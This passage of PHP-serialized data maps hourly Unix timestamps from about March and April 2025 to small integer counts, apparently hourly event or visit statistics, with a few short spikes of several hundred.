}i:1742637600;a:1:{i:0;i:5;}i:1742641200;a:1:{i:0;i:6;}i:1742644800;a:1:{i:0;i:3;}i:1742648400;a:1:{i:0;i:4;}i:1742652000;a:1:{i:0;i:5;}i:1742655600;a:1:{i:0;i:10;}i:1742659200;a:1:{i:0;i:5;}i:1742662800;a:1:{i:0;i:10;}i:1742666400;a:1:{i:0;i:9;}i:1742670000;a:1:{i:0;i:5;}i:1742673600;a:1:{i:0;i:8;}i:1742677200;a:1:{i:0;i:4;}i:1742680800;a:1:{i:0;i:7;}i:1742684400;a:1:{i:0;i:8;}i:1742688000;a:1:{i:0;i:5;}i:1742691600;a:1:{i:0;i:2;}i:1742695200;a:1:{i:0;i:2;}i:1742698800;a:1:{i:0;i:8;}i:1742702400;a:1:{i:0;i:5;}i:1742706000;a:1:{i:0;i:5;}i:1742709600;a:1:{i:0;i:1;}i:1742713200;a:1:{i:0;i:9;}i:1742716800;a:1:{i:0;i:5;}i:1742724000;a:1:{i:0;i:4;}i:1742727600;a:1:{i:0;i:4;}i:1742731200;a:1:{i:0;i:5;}i:1742734800;a:1:{i:0;i:2;}i:1742738400;a:1:{i:0;i:2;}i:1742742000;a:1:{i:0;i:4;}i:1742745600;a:1:{i:0;i:4;}i:1742749200;a:1:{i:0;i:5;}i:1742752800;a:1:{i:0;i:3;}i:1742756400;a:1:{i:0;i:6;}i:1742760000;a:1:{i:0;i:2;}i:1742763600;a:1:{i:0;i:1;}i:1742767200;a:1:{i:0;i:9;}i:1742770800;a:1:{i:0;i:10;}i:1742774400;a:1:{i:0;i:2;}i:1742778000;a:1:{i:0;i:2;}i:1742781600;a:1:{i:0;i:1;}i:1742785200;a:1:{i:0;i:11;}i:1742788800;a:1:{i:0;i:6;}i:1742792400;a:1:{i:0;i:4;}i:1742796000;a:1:{i:0;i:6;}i:1742799600;a:1:{i:0;i:6;}i:1742803200;a:1:{i:0;i:4;}i:1742806800;a:1:{i:0;i:5;}i:1742810400;a:1:{i:0;i:7;}i:1742814000;a:1:{i:0;i:14;}i:1742821200;a:1:{i:0;i:5;}i:1742824800;a:1:{i:0;i:4;}i:1742828400;a:1:{i:0;i:3;}i:1742832000;a:1:{i:0;i:5;}i:1742835600;a:1:{i:0;i:4;}i:1742839200;a:1:{i:0;i:4;}i:1742842800;a:1:{i:0;i:5;}i:1742846400;a:1:{i:0;i:5;}i:1742850000;a:1:{i:0;i:9;}i:1742853600;a:1:{i:0;i:9;}i:1742857200;a:1:{i:0;i:11;}i:1742860800;a:1:{i:0;i:9;}i:1742864400;a:1:{i:0;i:5;}i:1742868000;a:1:{i:0;i:4;}i:1742871600;a:1:{i:0;i:2;}i:1742875200;a:1:{i:0;i:2;}i:1742878800;a:1:{i:0;i:2;}i:1742882400;a:1:{i:0;i:2;}i:1742886000;a:1:{i:0;i:1;}i:1742889600;a:1:{i:0;i:4;}i:1742896800;a:1:{i:0;i:1;}i:1742900400;a:1:{i:0;i:2;}i:1742904000;a:1:{i:0;i:4;}i:1742907600;a:1:{i:0;i:1;}i:1742911200;a:1:{i:0;i:1;}i:1742914800;a:1:{i:0;i:3;}i:1742918400;a:1:{i:0;i:1;}i:1742922000;a:1:{i:0;i:12;}i:1742925600;a:1:{i:0;i:4;}i:1742929200;a:1:{i:0;i:4;}i:1742932800;a:1:{i:0;i:2;}i:1742940000;a:1:{i:0;i:1;}i:1742943600;a:1:{i:0;i:6;}i:1742950800;a:1:{i:0;i:2;}i:1742954400;a:1:{i:0;i:1;}i:1742958000;a:1:{i:0;i:3;}i:1742961600;a:1:{i:0;i:1;}i:1742965200;a:1:{i:0;i:1;}i:1742968800;a:1:{i:0;i:2;}i:1742972400;a:1:{i:0;i:1;}i:1742976000;a:1:{i:0;i:1;}i:1742983200;a:1:{i:0;i:1;}i:1742986800;a:1:{i:0;i:3;}i:1742990400;a:1:{i:0;i:1;}i:1742994000;a:1:{i:0;i:4;}i:1742997600;a:1:{i:0;i:3;}i:1743001200;a:1:{i:0;i:2;}i:1743004800;a:1:{i:0;i:2;}i:1743008400;a:1:{i:0;i:8;}i:1743012000;a:1:{i:0;i:12;}i:1743015600;a:1:{i:0;i:2;}i:1743019200;a:1:{i:0;i:1;}i:1743022800;a:1:{i:0;i:2;}i:1743033600;a:1:{i:0;i:1;}i:1743037200;a:1:{i:0;i:1;}i:1743040800;a:1:{i:0;i:1;}i:1743044400;a:1:{i:0;i:3;}i:1743051600;a:1:{i:0;i:2;}i:1743055200;a:1:{i:0;i:1;}i:1743058800;a:1:{i:0;i:1;}i:1743062400;a:1:{i:0;i:1;}i:1743066000;a:1:{i:0;i:2;}i:1743069600;a:1:{i:0;i:1;}i:1743073200;a:1:{i:0;i:3;}i:1743076800;a:1:{i:0;i:3;}i:1743080400;a:1:{i:0;i:1;}i:1743084000;a:1:{i:0;i:1;}i:1743087600;a:1:{i:0;i:4;}i:1743091200;a:1:{i:0;i:1;}i:1743094800;a:1:{i:0;i:2;}i:1743102000;a:1:{i:0;i:4;}i:1743105600;a:1:{i:0;i:2;}i:1743112800;a:1:{i:0;i:2;}i:1743116400;a:1:{i:0;i:1;}i:1743123600;a:1:{i:0;i:2;}i:1743127200;a:1:{i:0;i:3;}i:1743130800;a:1:{i:0;i:1;}i:1743134400;a:1:{i:0;i:2;}i:1743141600;a:1:{i:0;i:2;}i:1743145200;a:1:{i:0;i:1;}i:1743148800;a:1:{i:0;i:3;}i:1743152400;a:1:{i:0;i:1;}i:1743156000;a:1:{i:0;i:2;}i:1743159600;a:1:{i:0;i:3;}i:1743170400;a:1:{i:0;i:4;}i:1743174000;a:1:{i:0;i:10;}i:1743177600;a:1:{i:0;i:4;}i:1743181200;a:1:{i:0;i:2;}i:1743184800;a:1:{i:0;i:11;}i:1743188400;a:1:{i:0;i:7;}i:1743192000;a:1:{i:0;i:3;}i:1743195600;a:1:{i:0;i:1;}i:1743199200;a:1:{i:0;i:2;}i:1743210000;a:1:{i:0;i:2;}i:1743213600;a:1:{i:0;i:2;}i:1743217200;a:1:{i:0;i:2;}i:1743220800;a:1:{i:0;i:3;}i:1743228000;a:1:{i:0;i:3;}i:1743231600;a:1:{i:0;i:1;}i:1743238800;a:1:{i:0;i:2;}i:1743242400;a:1:{i:0;i:2;}i:1743246000;a:1:{i:0;i:2;}i:1743249600;a:1:{i:0;i:8;}i:1743253200;a:1:{i:0;i:11;}i:1743256800;a:1:{i:0;i:5;}i:1743260400;a:1:{i:0;i:2;}i:1743264000;a:1:{i:0;i:1;}i:1743267600;a:1:{i:0;i:3;}i:1743271200;a:1:{i:0;i:3;}i:1743274800;a:1:{i:0;i:2;}i:1743278400;a:1:{i:0;i:3;}i:1743282000;a:1:{i:0;i:5;}i:1743285600;a:1:{i:0;i:1;}i:1743289200;a:1:{i:0;i:6;}i:1743292800;a:1:{i:0;i:1;}i:1743296400;a:1:{i:0;i:3;}i:1743300000;a:1:{i:0;i:14;}i:1743303600;a:1:{i:0;i:6;}i:1743307200;a:1:{i:0;i:2;}i:1743310800;a:1:{i:0;i:1;}i:1743314400;a:1:{i:0;i:3;}i:1743318000;a:1:{i:0;i:2;}i:1743321600;a:1:{i:0;i:2;}i:1743325200;a:1:{i:0;i:5;}i:1743328800;a:1:{i:0;i:1;}i:1743332400;a:1:{i:0;i:4;}i:1743336000;a:1:{i:0;i:1;}i:1743339600;a:1:{i:0;i:4;}i:1743343200;a:1:{i:0;i:3;}i:1743350400;a:1:{i:0;i:4;}i:1743354000;a:1:{i:0;i:4;}i:1743357600;a:1:{i:0;i:2;}i:1743361200;a:1:{i:0;i:4;}i:1743364800;a:1:{i:0;i:3;}i:1743368400;a:1:{i:0;i:1;}i:1743375600;a:1:{i:0;i:6;}i:1743379200;a:1:{i:0;i:6;}i:1743382800;a:1:{i:0;i:3;}i:1743386400;a:1:{i:0;i:7;}i:1743390000;a:1:{i:0;i:8;}i:1743393600;a:1:{i:0;i:5;}i:1743397200;a:1:{i:0;i:6;}i:1743400800;a:1:{i:0;i:7;}i:1743404400;a:1:{i:0;i:6;}i:1743408000;a:1:{i:0;i:5;}i:1743411600;a:1:{i:0;i:7;}i:1743415200;a:1:{i:0;i:7;}i:1743418800;a:1:{i:0;i:5;}i:1743422400;a:1:{i:0;i:6;}i:1743426000;a:1:{i:0;i:7;}i:1743429600;a:1:{i:0;i:8;}i:1743433200;a:1:{i:0;i:5;}i:1743436800;a:1:{i:0;i:6;}i:1743440400;a:1:{i:0;i:6;}i:1743444000;a:1:{i:0;i:6;}i:1743447600;a:1:{i:0;i:8;}i:1743451200;a:1:{i:0;i:6;}i:1743454800;a:1:{i:0;i:6;}i:1743458400;a:1:{i:0;i:2;}i:1743462000;a:1:{i:0;i:5;}i:1743465600;a:1:{i:0;i:7;}i:1743469200;a:1:{i:0;i:8;}i:1743472800;a:1:{i:0;i:6;}i:1743476400;a:1:{i:0;i:7;}i:1743480000;a:1:{i:0;i:6;}i:1743483600;a:1:{i:0;i:13;}i:1743487200;a:1:{i:0;i:15;}i:1743490800;a:1:{i:0;i:16;}i:1743494400;a:1:{i:0;i:11;}i:1743498000;a:1:{i:0;i:10;}i:1743501600;a:1:{i:0;i:11;}i:1743505200;a:1:{i:0;i:10;}i:1743508800;a:1:{i:0;i:12;}i:1743512400;a:1:{i:0;i:9;}i:1743516000;a:1:{i:0;i:9;}i:1743519600;a:1:{i:0;i:7;}i:1743523200;a:1:{i:0;i:14;}i:1743526800;a:1:{i:0;i:13;}i:1743530400;a:1:{i:0;i:11;}i:1743534000;a:1:{i:0;i:8;}i:1743537600;a:1:{i:0;i:3;}i:1743541200;a:1:{i:0;i:3;}i:1743544800;a:1:{i:0;i:9;}i:1743548400;a:1:{i:0;i:6;}i:1743552000;a:1:{i:0;i:9;}i:1743555600;a:1:{i:0;i:5;}i:1743559200;a:1:{i:0;i:5;}i:1743562800;a:1:{i:0;i:4;}i:1743566400;a:1:{i:0;i:12;}i:1743570000;a:1:{i:0;i:9;}i:1743573600;a:1:{i:0;i:24;}i:1743577200;a:1:{i:0;i:12;}i:1743580800;a:1:{i:0;i:10;}i:1743584400;a:1:{i:0;i:7;}i:1743588000;a:1:{i:0;i:3;}i:1743591600;a:1:{i:0;i:3;}i:1743595200;a:1:{i:0;i:6;}i:1743598800;a:1:{i:0;i:1;}i:1743602400;a:1:{i:0;i:4;}i:1743606000;a:1:{i:0;i:6;}i:1743609600;a:1:{i:0;i:10;}i:1743613200;a:1:{i:0;i:10;}i:1743616800;a:1:{i:0;i:7;}i:1743620400;a:1:{i:0;i:9;}i:1743624000;a:1:{i:0;i:8;}i:1743627600;a:1:{i:0;i:7;}i:1743631200;a:1:{i:0;i:6;}i:1743634800;a:1:{i:0;i:6;}i:1743638400;a:1:{i:0;i:7;}i:1743642000;a:1:{i:0;i:5;}i:1743645600;a:1:{i:0;i:13;}i:1743649200;a:1:{i:0;i:8;}i:1743652800;a:1:{i:0;i:5;}i:1743656400;a:1:{i:0;i:4;}i:1743660000;a:1:{i:0;i:8;}i:1743663600;a:1:{i:0;i:9;}i:1743667200;a:1:{i:0;i:6;}i:1743670800;a:1:{i:0;i:4;}i:1743674400;a:1:{i:0;i:3;}i:1743678000;a:1:{i:0;i:1;}i:1743681600;a:1:{i:0;i:3;}i:1743685200;a:1:{i:0;i:3;}i:1743692400;a:1:{i:0;i:7;}i:1743696000;a:1:{i:0;i:1;}i:1743699600;a:1:{i:0;i:7;}i:1743706800;a:1:{i:0;i:4;}i:1743710400;a:1:{i:0;i:3;}i:1743717600;a:1:{i:0;i:4;}i:1743721200;a:1:{i:0;i:1;}i:1743724800;a:1:{i:0;i:3;}i:1743728400;a:1:{i:0;i:2;}i:1743732000;a:1:{i:0;i:1;}i:1743735600;a:1:{i:0;i:4;}i:1743739200;a:1:{i:0;i:2;}i:1743742800;a:1:{i:0;i:3;}i:1743746400;a:1:{i:0;i:2;}i:1743750000;a:1:{i:0;i:13;}i:1743753600;a:1:{i:0;i:7;}i:1743757200;a:1:{i:0;i:3;}i:1743760800;a:1:{i:0;i:9;}i:1743764400;a:1:{i:0;i:7;}i:1743768000;a:1:{i:0;i:10;}i:1743771600;a:1:{i:0;i:7;}i:1743775200;a:1:{i:0;i:5;}i:1743778800;a:1:{i:0;i:7;}i:1743782400;a:1:{i:0;i:5;}i:1743786000;a:1:{i:0;i:4;}i:1743789600;a:1:{i:0;i:4;}i:1743793200;a:1:{i:0;i:5;}i:1743796800;a:1:{i:0;i:4;}i:1743800400;a:1:{i:0;i:4;}i:1743804000;a:1:{i:0;i:4;}i:1743807600;a:1:{i:0;i:5;}i:1743811200;a:1:{i:0;i:6;}i:1743814800;a:1:{i:0;i:6;}i:1743818400;a:1:{i:0;i:6;}i:1743822000;a:1:{i:0;i:6;}i:1743825600;a:1:{i:0;i:8;}i:1743829200;a:1:{i:0;i:6;}i:1743832800;a:1:{i:0;i:6;}i:1743836400;a:1:{i:0;i:7;}i:1743840000;a:1:{i:0;i:6;}i:1743843600;a:1:{i:0;i:4;}i:1743847200;a:1:{i:0;i:4;}i:1743850800;a:1:{i:0;i:7;}i:1743854400;a:1:{i:0;i:7;}i:1743858000;a:1:{i:0;i:3;}i:1743861600;a:1:{i:0;i:4;}i:1743865200;a:1:{i:0;i:3;}i:1743868800;a:1:{i:0;i:2;}i:1743872400;a:1:{i:0;i:3;}i:1743876000;a:1:{i:0;i:2;}i:1743879600;a:1:{i:0;i:1;}i:1743883200;a:1:{i:0;i:3;}i:1743886800;a:1:{i:0;i:2;}i:1743890400;a:1:{i:0;i:2;}i:1743894000;a:1:{i:0;i:2;}i:1743897600;a:1:{i:0;i:10;}i:1743901200;a:1:{i:0;i:8;}i:1743904800;a:1:{i:0;i:3;}i:1743908400;a:1:{i:0;i:1;}i:1743912000;a:1:{i:0;i:3;}i:1743919200;a:1:{i:0;i:7;}i:1743922800;a:1:{i:0;i:5;}i:1743926400;a:1:{i:0;i:5;}i:1743930000;a:1:{i:0;i:6;}i:1743933600;a:1:{i:0;i:1;}i:1743937200;a:1:{i:0;i:6;}i:1743940800;a:1:{i:0;i:8;}i:1743944400;a:1:{i:0;i:6;}i:1743948000;a:1:{i:0;i:4;}i:1743951600;a:1:{i:0;i:7;}i:1743955200;a:1:{i:0;i:4;}i:1743958800;a:1:{i:0;i:6;}i:1743962400;a:1:{i:0;i:9;}i:1743966000;a:1:{i:0;i:11;}i:1743969600;a:1:{i:0;i:7;}i:1743973200;a:1:{i:0;i:6;}i:1743976800;a:1:{i:0;i:6;}i:1743980400;a:1:{i:0;i:5;}i:1743984000;a:1:{i:0;i:7;}i:1743987600;a:1:{i:0;i:7;}i:1743991200;a:1:{i:0;i:6;}i:1743994800;a:1:{i:0;i:7;}i:1743998400;a:1:{i:0;i:8;}i:1744002000;a:1:{i:0;i:9;}i:1744005600;a:1:{i:0;i:8;}i:1744009200;a:1:{i:0;i:10;}i:1744012800;a:1:{i:0;i:8;}i:1744016400;a:1:{i:0;i:6;}i:1744020000;a:1:{i:0;i:8;}i:1744023600;a:1:{i:0;i:4;}i:1744027200;a:1:{i:0;i:10;}i:1744030800;a:1:{i:0;i:5;}i:1744034400;a:1:{i:0;i:11;}i:1744038000;a:1:{i:0;i:8;}i:1744041600;a:1:{i:0;i:2;}i:1744045200;a:1:{i:0;i:5;}i:1744048800;a:1:{i:0;i:12;}i:1744052400;a:1:{i:0;i:7;}i:1744056000;a:1:{i:0;i:2;}i:1744059600;a:1:{i:0;i:7;}i:1744063200;a:1:{i:0;i:4;}i:1744066800;a:1:{i:0;i:3;}i:1744070400;a:1:{i:0;i:4;}i:1744074000;a:1:{i:0;i:4;}i:1744077600;a:1:{i:0;i:3;}i:1744081200;a:1:{i:0;i:1;}i:1744084800;a:1:{i:0;i:3;}i:1744088400;a:1:{i:0;i:3;}i:1744092000;a:1:{i:0;i:8;}i:1744095600;a:1:{i:0;i:5;}i:1744099200;a:1:{i:0;i:5;}i:1744102800;a:1:{i:0;i:3;}i:1744106400;a:1:{i:0;i:2;}i:1744110000;a:1:{i:0;i:5;}i:1744113600;a:1:{i:0;i:3;}i:1744117200;a:1:{i:0;i:1;}i:1744120800;a:1:{i:0;i:3;}i:1744124400;a:1:{i:0;i:5;}i:1744128000;a:1:{i:0;i:5;}i:1744131600;a:1:{i:0;i:2;}i:1744135200;a:1:{i:0;i:8;}i:1744138800;a:1:{i:0;i:8;}i:1744142400;a:1:{i:0;i:15;}i:1744146000;a:1:{i:0;i:6;}i:1744149600;a:1:{i:0;i:5;}i:1744153200;a:1:{i:0;i:4;}i:1744156800;a:1:{i:0;i:1;}i:1744160400;a:1:{i:0;i:5;}i:1744164000;a:1:{i:0;i:1;}i:1744167600;a:1:{i:0;i:4;}i:1744171200;a:1:{i:0;i:3;}i:1744174800;a:1:{i:0;i:3;}i:1744178400;a:1:{i:0;i:3;}i:1744182000;a:1:{i:0;i:2;}i:1744185600;a:1:{i:0;i:3;}i:1744189200;a:1:{i:0;i:5;}i:1744192800;a:1:{i:0;i:3;}i:1744196400;a:1:{i:0;i:2;}i:1744200000;a:1:{i:0;i:4;}i:1744203600;a:1:{i:0;i:2;}i:1744207200;a:1:{i:0;i:2;}i:1744210800;a:1:{i:0;i:2;}i:1744214400;a:1:{i:0;i:3;}i:1744218000;a:1:{i:0;i:9;}i:1744221600;a:1:{i:0;i:12;}i:1744225200;a:1:{i:0;i:12;}i:1744228800;a:1:{i:0;i:12;}i:1744232400;a:1:{i:0;i:14;}i:1744236000;a:1:{i:0;i:13;}i:1744239600;a:1:{i:0;i:21;}i:1744243200;a:1:{i:0;i:18;}i:1744246800;a:1:{i:0;i:6;}i:1744250400;a:1:{i:0;i:3;}i:1744254000;a:1:{i:0;i:1;}i:1744257600;a:1:{i:0;i:10;}i:1744261200;a:1:{i:0;i:11;}i:1744264800;a:1:{i:0;i:11;}i:1744268400;a:1:{i:0;i:17;}i:1744272000;a:1:{i:0;i:18;}i:1744275600;a:1:{i:0;i:11;}i:1744279200;a:1:{i:0;i:5;}i:1744282800;a:1:{i:0;i:1;}i:1744286400;a:1:{i:0;i:10;}i:1744290000;a:1:{i:0;i:20;}i:1744293600;a:1:{i:0;i:19;}i:1744297200;a:1:{i:0;i:9;}i:1744300800;a:1:{i:0;i:2;}i:1744304400;a:1:{i:0;i:9;}i:1744308000;a:1:{i:0;i:13;}i:1744311600;a:1:{i:0;i:11;}i:1744315200;a:1:{i:0;i:10;}i:1744318800;a:1:{i:0;i:12;}i:1744322400;a:1:{i:0;i:10;}i:1744326000;a:1:{i:0;i:11;}i:1744329600;a:1:{i:0;i:11;}i:1744333200;a:1:{i:0;i:20;}i:1744336800;a:1:{i:0;i:11;}i:1744340400;a:1:{i:0;i:9;}i:1744344000;a:1:{i:0;i:10;}i:1744347600;a:1:{i:0;i:13;}i:1744351200;a:1:{i:0;i:8;}i:1744354800;a:1:{i:0;i:16;}i:1744358400;a:1:{i:0;i:8;}i:1744362000;a:1:{i:0;i:10;}i:1744365600;a:1:{i:0;i:8;}i:1744369200;a:1:{i:0;i:10;}i:1744372800;a:1:{i:0;i:10;}i:1744376400;a:1:{i:0;i:7;}i:1744380000;a:1:{i:0;i:11;}i:1744383600;a:1:{i:0;i:9;}i:1744387200;a:1:{i:0;i:10;}i:1744390800;a:1:{i:0;i:12;}i:1744394400;a:1:{i:0;i:7;}i:1744398000;a:1:{i:0;i:8;}i:1744401600;a:1:{i:0;i:23;}i:1744405200;a:1:{i:0;i:12;}i:1744408800;a:1:{i:0;i:8;}i:1744412400;a:1:{i:0;i:8;}i:1744416000;a:1:{i:0;i:8;}i:1744419600;a:1:{i:0;i:9;}i:1744423200;a:1:{i:0;i:12;}i:1744426800;a:1:{i:0;i:11;}i:1744430400;a:1:{i:0;i:26;}i:1744434000;a:1:{i:0;i:11;}i:1744437600;a:1:{i:0;i:8;}i:1744441200;a:1:{i:0;i:7;}i:1744444800;a:1:{i:0;i:2;}i:1744448400;a:1:{i:0;i:1;}i:1744452000;a:1:{i:0;i:2;}i:1744455600;a:1:{i:0;i:4;}i:1744459200;a:1:{i:0;i:4;}i:1744462800;a:1:{i:0;i:2;}i:1744466400;a:1:{i:0;i:1;}i:1744470000;a:1:{i:0;i:4;}i:1744480800;a:1:{i:0;i:2;}i:1744484400;a:1:{i:0;i:2;}i:1744488000;a:1:{i:0;i:1;}i:1744491600;a:1:{i:0;i:1;}i:1744495200;a:1:{i:0;i:4;}i:1744498800;a:1:{i:0;i:5;}i:1744502400;a:1:{i:0;i:3;}i:1744506000;a:1:{i:0;i:5;}i:1744509600;a:1:{i:0;i:3;}i:1744513200;a:1:{i:0;i:4;}i:1744516800;a:1:{i:0;i:5;}i:1744520400;a:1:{i:0;i:1;}i:1744524000;a:1:{i:0;i:7;}i:1744527600;a:1:{i:0;i:2;}i:1744531200;a:1:{i:0;i:3;}i:1744534800;a:1:{i:0;i:2;}i:1744538400;a:1:{i:0;i:9;}i:1744542000;a:1:{i:0;i:12;}i:1744545600;a:1:{i:0;i:2;}i:1744549200;a:1:{i:0;i:2;}i:1744552800;a:1:{i:0;i:1;}i:1744556400;a:1:{i:0;i:1;}i:1744560000;a:1:{i:0;i:4;}i:1744563600;a:1:{i:0;i:17;}i:1744567200;a:1:{i:0;i:3;}i:1744570800;a:1:{i:0;i:2;}i:1744574400;a:1:{i:0;i:1;}i:1744578000;a:1:{i:0;i:3;}i:1744581600;a:1:{i:0;i:3;}i:1744585200;a:1:{i:0;i:1;}i:1744588800;a:1:{i:0;i:1;}i:1744592400;a:1:{i:0;i:3;}i:1744596000;a:1:{i:0;i:9;}i:1744599600;a:1:{i:0;i:2;}i:1744603200;a:1:{i:0;i:2;}i:1744606800;a:1:{i:0;i:10;}i:1744610400;a:1:{i:0;i:12;}i:1744614000;a:1:{i:0;i:14;}i:1744617600;a:1:{i:0;i:16;}i:1744621200;a:1:{i:0;i:11;}i:1744624800;a:1:{i:0;i:9;}i:1744628400;a:1:{i:0;i:11;}i:1744632000;a:1:{i:0;i:11;}i:1744639200;a:1:{i:0;i:1;}i:1744642800;a:1:{i:0;i:1;}i:1744646400;a:1:{i:0;i:1;}i:1744650000;a:1:{i:0;i:6;}i:1744653600;a:1:{i:0;i:3;}i:1744657200;a:1:{i:0;i:2;}i:1744660800;a:1:{i:0;i:1;}i:1744664400;a:1:{i:0;i:3;}i:1744668000;a:1:{i:0;i:4;}i:1744671600;a:1:{i:0;i:6;}i:1744675200;a:1:{i:0;i:8;}i:1744678800;a:1:{i:0;i:3;}i:1744682400;a:1:{i:0;i:9;}i:1744686000;a:1:{i:0;i:12;}i:1744689600;a:1:{i:0;i:9;}i:1744693200;a:1:{i:0;i:10;}i:1744696800;a:1:{i:0;i:9;}i:1744700400;a:1:{i:0;i:8;}i:1744704000;a:1:{i:0;i:10;}i:1744707600;a:1:{i:0;i:8;}i:1744711200;a:1:{i:0;i:10;}i:1744714800;a:1:{i:0;i:12;}i:1744718400;a:1:{i:0;i:7;}i:1744722000;a:1:{i:0;i:8;}i:1744725600;a:1:{i:0;i:136;}i:1744729200;a:1:{i:0;i:82;}i:1744732800;a:1:{i:0;i:73;}i:1744736400;a:1:{i:0;i:111;}i:1744740000;a:1:{i:0;i:85;}i:1744743600;a:1:{i:0;i:69;}i:1744747200;a:1:{i:0;i:79;}i:1744750800;a:1:{i:0;i:93;}i:1744754400;a:1:{i:0;i:72;}i:1744758000;a:1:{i:0;i:98;}i:1744761600;a:1:{i:0;i:117;}i:1744765200;a:1:{i:0;i:95;}i:1744768800;a:1:{i:0;i:72;}i:1744772400;a:1:{i:0;i:113;}i:1744776000;a:1:{i:0;i:82;}i:1744779600;a:1:{i:0;i:77;}i:1744783200;a:1:{i:0;i:106;}i:1744786800;a:1:{i:0;i:64;}i:1744790400;a:1:{i:0;i:118;}i:1744794000;a:1:{i:0;i:111;}i:1744797600;a:1:{i:0;i:135;}i:1744801200;a:1:{i:0;i:132;}i:1744804800;a:1:{i:0;i:151;}i:1744808400;a:1:{i:0;i:158;}i:1744812000;a:1:{i:0;i:235;}i:1744815600;a:1:{i:0;i:383;}i:1744819200;a:1:{i:0;i:312;}i:1744822800;a:1:{i:0;i:3;}i:1744826400;a:1:{i:0;i:2;}i:1744830000;a:1:{i:0;i:2;}i:1744833600;a:1:{i:0;i:9;}i:1744837200;a:1:{i:0;i:2;}i:1744840800;a:1:{i:0;i:5;}i:1744844400;a:1:{i:0;i:2;}i:1744848000;a:1:{i:0;i:4;}i:1744851600;a:1:{i:0;i:3;}i:1744855200;a:1:{i:0;i:2;}i:1744858800;a:1:{i:0;i:3;}i:1744862400;a:1:{i:0;i:3;}i:1744866000;a:1:{i:0;i:11;}i:1744869600;a:1:{i:0;i:12;}i:1744873200;a:1:{i:0;i:13;}i:1744876800;a:1:{i:0;i:6;}i:1744880400;a:1:{i:0;i:1;}i:1744884000;a:1:{i:0;i:2;}i:1744887600;a:1:{i:0;i:5;}i:1744891200;a:1:{i:0;i:6;}i:1744894800;a:1:{i:0;i:8;}i:1744898400;a:1:{i:0;i:9;}i:1744902000;a:1:{i:0;i:6;}i:1744905600;a:1:{i:0;i:8;}i:1744909200;a:1:{i:0;i:7;}i:1744912800;a:1:{i:0;i:4;}i:1744916400;a:1:{i:0;i:2;}i:1744920000;a:1:{i:0;i:4;}i:1744923600;a:1:{i:0;i:2;}i:1744927200;a:1:{i:0;i:3;}i:1744930800;a:1:{i:0;i:3;}i:1744934400;a:1:{i:0;i:5;}i:1744938000;a:1:{i:0;i:9;}i:1744941600;a:1:{i:0;i:10;}i:1744945200;a:1:{i:0;i:7;}i:1744948800;a:1:{i:0;i:7;}i:1744952400;a:1:{i:0;i:7;}i:1744956000;a:1:{i:0;i:11;}i:1744959600;a:1:{i:0;i:7;}i:1744963200;a:1:{i:0;i:8;}i:1744966800;a:1:{i:0;i:8;}i:1744970400;a:1:{i:0;i:9;}i:1744974000;a:1:{i:0;i:10;}i:1744977600;a:1:{i:0;i:5;}i:1744981200;a:1:{i:0;i:8;}i:1744984800;a:1:{i:0;i:8;}i:1744988400;a:1:{i:0;i:8;}i:1744992000;a:1:{i:0;i:8;}i:1744995600;a:1:{i:0;i:5;}i:1744999200;a:1:{i:0;i:14;}i:1745002800;a:1:{i:0;i:12;}i:1745006400;a:1:{i:0;i:14;}i:1745010000;a:1:{i:0;i:13;}i:1745013600;a:1:{i:0;i:7;}i:1745017200;a:1:{i:0;i:18;}i:1745020800;a:1:{i:0;i:8;}i:1745024400;a:1:{i:0;i:6;}i:1745028000;a:1:{i:0;i:7;}i:1745031600;a:1:{i:0;i:9;}i:1745035200;a:1:{i:0;i:6;}i:1745038800;a:1:{i:0;i:5;}i:1745042400;a:1:{i:0;i:5;}i:1745046000;a:1:{i:0;i:6;}i:1745049600;a:1:{i:0;i:6;}i:1745053200;a:1:{i:0;i:6;}i:1745056800;a:1:{i:0;i:4;}i:1745060400;a:1:{i:0;i:6;}i:1745064000;a:1:{i:0;i:5;}i:1745067600;a:1:{i:0;i:4;}i:1745071200;a:1:{i:0;i:3;}i:1745074800;a:1:{i:0;i:7;}i:1745078400;a:1:{i:0;i:13;}i:1745082000;a:1:{i:0;i:11;}i:1745085600;a:1:{i:0;i:11;}i:1745089200;a:1:{i:0;i:12;}i:1745092800;a:1:{i:0;i:13;}i:1745096400;a:1:{i:0;i:16;}i:1745100000;a:1:{i:0;i:14;}i:1745103600;a:1:{i:0;i:16;}i:1745107200;a:1:{i:0;i:16;}i:1745110800;a:1:{i:0;i:14;}i:1745114400;a:1:{i:0;i:18;}i:1745118000;a:1:{i:0;i:14;}i:1745121600;a:1:{i:0;i:17;}i:1745125200;a:1:{i:0;i:16;}i:1745128800;a:1:{i:0;i:6;}i:1745132400;a:1:{i:0;i:11;}i:1745136000;a:1:{i:0;i:13;}i:1745139600;a:1:{i:0;i:14;}i:1745143200;a:1:{i:0;i:11;}i:1745146800;a:1:{i:0;i:11;}i:1745150400;a:1:{i:0;i:14;}i:1745154000;a:1:{i:0;i:13;}i:1745157600;a:1:{i:0;i:11;}i:1745161200;a:1:{i:0;i:16;}i:1745164800;a:1:{i:0;i:27;}i:1745168400;a:1:{i:0;i:14;}i:1745172000;a:1:{i:0;i:13;}i:1745175600;a:1:{i:0;i:17;}i:1745179200;a:1:{i:0;i:19;}i:1745182800;a:1:{i:0;i:18;}i:1745186400;a:1:{i:0;i:13;}i:1745190000;a:1:{i:0;i:15;}i:1745193600;a:1:{i:0;i:13;}i:1745197200;a:1:{i:0;i:13;}i:1745200800;a:1:{i:0;i:14;}i:1745204400;a:1:{i:0;i:19;}i:1745208000;a:1:{i:0;i:9;}i:1745211600;a:1:{i:0;i:118;}i:1745215200;a:1:{i:0;i:398;}i:1745218800;a:1:{i:0;i:342;}i:1745222400;a:1:{i:0;i:290;}i:1745226000;a:1:{i:0;i:275;}i:1745229600;a:1:{i:0;i:11;}i:1745233200;a:1:{i:0;i:13;}i:1745236800;a:1:{i:0;i:13;}i:1745240400;a:1:{i:0;i:11;}i:1745244000;a:1:{i:0;i:15;}i:1745247600;a:1:{i:0;i:13;}i:1745251200;a:1:{i:0;i:15;}i:1745254800;a:1:{i:0;i:21;}i:1745258400;a:1:{i:0;i:15;}i:1745262000;a:1:{i:0;i:13;}i:1745265600;a:1:{i:0;i:12;}i:1745269200;a:1:{i:0;i:13;}i:1745272800;a:1:{i:0;i:15;}i:1745276400;a:1:{i:0;i:13;}i:1745280000;a:1:{i:0;i:9;}i:1745283600;a:1:{i:0;i:5;}i:1745287200;a:1:{i:0;i:14;}i:1745290800;a:1:{i:0;i:11;}i:1745294400;a:1:{i:0;i:19;}i:1745298000;a:1:{i:0;i:16;}i:1745301600;a:1:{i:0;i:17;}i:1745305200;a:1:{i:0;i:13;}i:174530880